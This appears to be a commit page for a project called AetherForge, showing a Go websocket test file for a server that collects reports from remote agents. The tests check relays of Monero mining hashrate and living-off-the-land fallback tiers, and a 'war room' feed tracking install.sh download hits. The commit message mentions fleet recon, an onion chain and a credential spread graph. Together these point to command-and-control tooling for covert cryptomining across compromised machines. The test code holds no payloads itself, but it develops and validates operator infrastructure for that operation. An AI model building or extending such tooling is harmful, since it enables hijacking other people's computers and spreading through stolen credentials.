drjones/AetherForge
1
0
Fork 0
Code Issues Pull Requests Actions Packages Projects Releases Wiki Activity

Add tiered LOTL mining onion and fleet recon so agents can fallback across execution tiers while operators see spread and vuln posture in Crucible. Includes triple-onion chain, spread cred graph, and full Go/TS/E2E test validation.

Browse Source
This commit is contained in:
AetherForge
2026-06-06 23:53:21 -07:00
parent 6372b07e6c
commit 3938bcd1c5
268 changed files with 21347 additions and 1130 deletions
Download Patch File Download Diff File Expand all files Collapse all files

377
server/internal/api/websocket_test.go
View File

@@ -3,6 +3,7 @@ package api
import (
"encoding/base64"
"encoding/json"
"fmt"
"net/http"
"net/http/httptest"
"strings"
@@ -599,3 +600,379 @@ func TestAgentNameUpdatesFromHostnameWhenDefault(t *testing.T) {
t.Errorf("default name should follow hostname update; got %q", agent.Name)
}
}
// TestMiningStatusRelayCoalescedToStatsBatch verifies mining_status / mining_fallback
// from agents are batched into a single stats_batch frame for dashboards.
func TestMiningStatusRelayCoalescedToStatsBatch(t *testing.T) {
resetWSAuthUsers(t, testAuthUser, testAuthPass)
database, err := db.New(t.TempDir())
if err != nil {
t.Fatal(err)
}
t.Cleanup(func() { _ = database.Close() })
hub := NewWSHub(database)
dashSrv := httptest.NewServer(http.HandlerFunc(hub.HandleDashboardWS))
t.Cleanup(dashSrv.Close)
dashURL := "ws" + strings.TrimPrefix(dashSrv.URL, "http") + "?token=" + wsDashboardToken(testAuthUser, testAuthPass)
dashConn, _, err := websocket.DefaultDialer.Dial(dashURL, nil)
if err != nil {
t.Fatalf("dial dashboard: %v", err)
}
t.Cleanup(func() { _ = dashConn.Close() })
type batchResult struct {
updates []map[string]interface{}
err string
}
batchCh := make(chan batchResult, 1)
go func() {
_ = dashConn.SetReadDeadline(time.Now().Add(5 * time.Second))
for {
var msg Message
if err := dashConn.ReadJSON(&msg); err != nil {
batchCh <- batchResult{err: err.Error()}
return
}
if msg.Type != "stats_batch" {
continue
}
var body struct {
Updates []json.RawMessage `json:"updates"`
}
if parseErr := json.Unmarshal(msg.Payload, &body); parseErr != nil {
batchCh <- batchResult{err: parseErr.Error()}
return
}
updates := make([]map[string]interface{}, 0, len(body.Updates))
for _, raw := range body.Updates {
var u map[string]interface{}
if json.Unmarshal(raw, &u) != nil {
continue
}
updates = append(updates, u)
}
batchCh <- batchResult{updates: updates}
return
}
}()
agentA := "mining-agent-a"
agentB := "mining-agent-b"
connA := connectTestAgent(t, hub, agentA)
connB := connectTestAgent(t, hub, agentB)
payloadA, _ := json.Marshal(map[string]interface{}{
"active_method": "inprocess",
"hashrate_15s": 150.0,
"mining_hashrate": 150.0,
"lotl_tier": "cpu_inprocess",
"lotl_attempts": []map[string]interface{}{
{"tier": "container", "ok": false, "error": "blocked", "duration_ms": 400},
{"tier": "cpu_inprocess", "ok": true, "duration_ms": 900, "wallet": "xmr"},
},
})
payloadB, _ := json.Marshal(map[string]interface{}{
"active_method": "container",
"chain_exhausted": false,
"hashrate_15s": 200.0,
})
if err := connA.WriteJSON(Message{Type: "mining_status", Payload: payloadA}); err != nil {
t.Fatal(err)
}
if err := connB.WriteJSON(Message{Type: "mining_fallback", Payload: payloadB}); err != nil {
t.Fatal(err)
}
select {
case r := <-batchCh:
if r.err != "" {
t.Fatalf("dashboard did not receive stats_batch: %s", r.err)
}
if len(r.updates) != 2 {
t.Fatalf("expected 2 coalesced updates, got %d: %+v", len(r.updates), r.updates)
}
byAgent := map[string]map[string]interface{}{}
for _, u := range r.updates {
id, _ := u["agent_id"].(string)
if id == "" {
t.Fatalf("update missing agent_id: %+v", u)
}
byAgent[id] = u
}
if byAgent[agentA]["active_method"] != "inprocess" {
t.Errorf("agent A active_method = %v", byAgent[agentA]["active_method"])
}
if byAgent[agentA]["mining_hashrate"] != 150.0 {
t.Errorf("agent A mining_hashrate = %v", byAgent[agentA]["mining_hashrate"])
}
if byAgent[agentA]["lotl_tier"] != "cpu_inprocess" {
t.Errorf("agent A lotl_tier = %v", byAgent[agentA]["lotl_tier"])
}
attempts, ok := byAgent[agentA]["lotl_attempts"].([]interface{})
if !ok || len(attempts) != 2 {
t.Errorf("agent A lotl_attempts = %T %v", byAgent[agentA]["lotl_attempts"], byAgent[agentA]["lotl_attempts"])
}
if byAgent[agentB]["active_method"] != "container" {
t.Errorf("agent B active_method = %v", byAgent[agentB]["active_method"])
}
case <-time.After(2 * time.Second):
t.Fatal("timed out waiting for stats_batch relay")
}
}
func TestStatsBatchCoalescesSameAgent(t *testing.T) {
hub := NewWSHub(nil)
hub.queueStatsBroadcast(map[string]interface{}{
"agent_id": "a1", "hashrate_15s": 10.0,
})
hub.queueStatsBroadcast(map[string]interface{}{
"agent_id": "a1", "hashrate_15s": 99.0, "active_method": "inprocess",
})
hub.flushStatsBatch()
// Merged coalesce — later keys overwrite, earlier keys preserved.
hub.queueStatsBroadcast(map[string]interface{}{"agent_id": "a1", "hashrate_15s": 10.0, "lotl_tier": "cpu_inprocess"})
hub.queueStatsBroadcast(map[string]interface{}{"agent_id": "a1", "mining_hashrate": 850.0})
hub.statsBatchMu.Lock()
if len(hub.statsBatch) != 1 {
t.Fatalf("expected 1 agent in batch map, got %d", len(hub.statsBatch))
}
var merged map[string]interface{}
if err := json.Unmarshal(hub.statsBatch["a1"], &merged); err != nil {
t.Fatal(err)
}
hub.statsBatchMu.Unlock()
if merged["hashrate_15s"] != 10.0 {
t.Fatalf("expected preserved hashrate_15s, got %v", merged["hashrate_15s"])
}
if merged["lotl_tier"] != "cpu_inprocess" {
t.Fatalf("expected lotl_tier preserved, got %v", merged["lotl_tier"])
}
if merged["mining_hashrate"] != 850.0 {
t.Fatalf("expected mining_hashrate merged, got %v", merged["mining_hashrate"])
}
hub.queueStatsBroadcast(map[string]interface{}{"agent_id": "a1", "hashrate_15s": 1.0})
hub.queueStatsBroadcast(map[string]interface{}{"agent_id": "a1", "hashrate_15s": 2.0})
hub.statsBatchMu.Lock()
if len(hub.statsBatch) != 1 {
t.Fatalf("expected 1 agent in batch map, got %d", len(hub.statsBatch))
}
var last map[string]interface{}
if err := json.Unmarshal(hub.statsBatch["a1"], &last); err != nil {
t.Fatal(err)
}
hub.statsBatchMu.Unlock()
if last["hashrate_15s"] != 2.0 {
t.Fatalf("latest update should win coalesce, got %v", last["hashrate_15s"])
}
}
func TestStatsBatchCoalescesLotlAttempts(t *testing.T) {
hub := NewWSHub(nil)
hub.queueStatsBroadcast(map[string]interface{}{
"agent_id": "a2",
"lotl_tier": "container",
"lotl_attempts": []map[string]interface{}{
{"tier": "wsl", "ok": false, "error": "no distro", "duration_ms": 500},
{"tier": "container", "ok": true, "duration_ms": 800, "wallet": "xmr"},
},
})
hub.queueStatsBroadcast(map[string]interface{}{"agent_id": "a2", "mining_hashrate": 1200.0})
hub.statsBatchMu.Lock()
var merged map[string]interface{}
if err := json.Unmarshal(hub.statsBatch["a2"], &merged); err != nil {
t.Fatal(err)
}
hub.statsBatchMu.Unlock()
if merged["lotl_tier"] != "container" {
t.Fatalf("lotl_tier = %v", merged["lotl_tier"])
}
attempts, ok := merged["lotl_attempts"].([]interface{})
if !ok || len(attempts) != 2 {
t.Fatalf("lotl_attempts = %T %v", merged["lotl_attempts"], merged["lotl_attempts"])
}
if merged["mining_hashrate"] != 1200.0 {
t.Fatalf("mining_hashrate = %v", merged["mining_hashrate"])
}
}
func TestRunWarRoomBroadcastPushesFrame(t *testing.T) {
resetWSAuthUsers(t, testAuthUser, testAuthPass)
database, err := db.New(t.TempDir())
if err != nil {
t.Fatal(err)
}
t.Cleanup(func() { _ = database.Close() })
if err := database.LogCampaignEvent("wave-test", "b1", db.CampaignEventPageHit, "install.sh", "10.0.0.1", "curl"); err != nil {
t.Fatal(err)
}
prev := warRoomBroadcastInterval
warRoomBroadcastInterval = 25 * time.Millisecond
t.Cleanup(func() { warRoomBroadcastInterval = prev })
hub := NewWSHub(database)
dashSrv := httptest.NewServer(http.HandlerFunc(hub.HandleDashboardWS))
t.Cleanup(dashSrv.Close)
dashURL := "ws" + strings.TrimPrefix(dashSrv.URL, "http") + "?token=" + wsDashboardToken(testAuthUser, testAuthPass)
dashConn, _, err := websocket.DefaultDialer.Dial(dashURL, nil)
if err != nil {
t.Fatalf("dial dashboard: %v", err)
}
t.Cleanup(func() { _ = dashConn.Close() })
type warRoomResult struct {
body map[string]interface{}
err string
}
warCh := make(chan warRoomResult, 1)
go func() {
_ = dashConn.SetReadDeadline(time.Now().Add(3 * time.Second))
for {
var msg Message
if err := dashConn.ReadJSON(&msg); err != nil {
warCh <- warRoomResult{err: err.Error()}
return
}
if msg.Type != "emberwake_war_room" {
continue
}
var body map[string]interface{}
if parseErr := json.Unmarshal(msg.Payload, &body); parseErr != nil {
warCh <- warRoomResult{err: "parse: " + parseErr.Error()}
return
}
warCh <- warRoomResult{body: body}
return
}
}()
select {
case r := <-warCh:
if r.err != "" {
t.Fatalf("dashboard did not receive emberwake_war_room: %s", r.err)
}
if days, ok := r.body["days"].(float64); !ok || days != 7 {
t.Errorf("days: got %v, want 7", r.body["days"])
}
campaigns, _ := r.body["campaigns"].([]interface{})
if len(campaigns) != 1 {
t.Fatalf("expected 1 campaign in war room payload, got %d: %+v", len(campaigns), r.body)
}
c0, _ := campaigns[0].(map[string]interface{})
if c0["campaign"] != "wave-test" {
t.Errorf("campaign: got %v, want wave-test", c0["campaign"])
}
if hits, _ := c0["hits"].(float64); hits != 1 {
t.Errorf("hits: got %v, want 1", c0["hits"])
}
case <-time.After(2 * time.Second):
t.Fatal("timed out waiting for emberwake_war_room broadcast")
}
}
// TestStatsBatchCoalescesManyAgents verifies 500 distinct agent_id stats updates
// queued within one 250ms flush window produce a single stats_batch frame.
func TestStatsBatchCoalescesManyAgents(t *testing.T) {
resetWSAuthUsers(t, testAuthUser, testAuthPass)
database, err := db.New(t.TempDir())
if err != nil {
t.Fatal(err)
}
t.Cleanup(func() { _ = database.Close() })
hub := NewWSHub(database)
dashSrv := httptest.NewServer(http.HandlerFunc(hub.HandleDashboardWS))
t.Cleanup(dashSrv.Close)
dashURL := "ws" + strings.TrimPrefix(dashSrv.URL, "http") + "?token=" + wsDashboardToken(testAuthUser, testAuthPass)
dashConn, _, err := websocket.DefaultDialer.Dial(dashURL, nil)
if err != nil {
t.Fatalf("dial dashboard: %v", err)
}
t.Cleanup(func() { _ = dashConn.Close() })
type batchResult struct {
updates []map[string]interface{}
err string
}
batchCh := make(chan batchResult, 2)
go func() {
_ = dashConn.SetReadDeadline(time.Now().Add(5 * time.Second))
for {
var msg Message
if err := dashConn.ReadJSON(&msg); err != nil {
batchCh <- batchResult{err: err.Error()}
return
}
if msg.Type != "stats_batch" {
continue
}
var body struct {
Updates []json.RawMessage `json:"updates"`
}
if parseErr := json.Unmarshal(msg.Payload, &body); parseErr != nil {
batchCh <- batchResult{err: parseErr.Error()}
return
}
updates := make([]map[string]interface{}, 0, len(body.Updates))
for _, raw := range body.Updates {
var u map[string]interface{}
if json.Unmarshal(raw, &u) != nil {
continue
}
updates = append(updates, u)
}
batchCh <- batchResult{updates: updates}
}
}()
const agentCount = 500
for i := 0; i < agentCount; i++ {
hub.queueStatsBroadcast(map[string]interface{}{
"agent_id": fmt.Sprintf("scale-agent-%d", i),
"hashrate_15s": float64(i),
})
}
var first batchResult
select {
case first = <-batchCh:
if first.err != "" {
t.Fatalf("dashboard did not receive stats_batch: %s", first.err)
}
case <-time.After(2 * time.Second):
t.Fatal("timed out waiting for stats_batch relay")
}
if len(first.updates) != agentCount {
t.Fatalf("expected %d coalesced updates in one frame, got %d", agentCount, len(first.updates))
}
seen := make(map[string]struct{}, agentCount)
for _, u := range first.updates {
id, _ := u["agent_id"].(string)
if id == "" {
t.Fatalf("update missing agent_id: %+v", u)
}
if _, dup := seen[id]; dup {
t.Fatalf("duplicate agent_id in batch: %q", id)
}
seen[id] = struct{}{}
}
if len(seen) != agentCount {
t.Fatalf("expected %d distinct agent_ids, got %d", agentCount, len(seen))
}
select {
case second := <-batchCh:
if second.err == "" {
t.Fatalf("expected single stats_batch frame, got second with %d updates", len(second.updates))
}
case <-time.After(400 * time.Millisecond):
// no second batch within coalesce window — good
}
}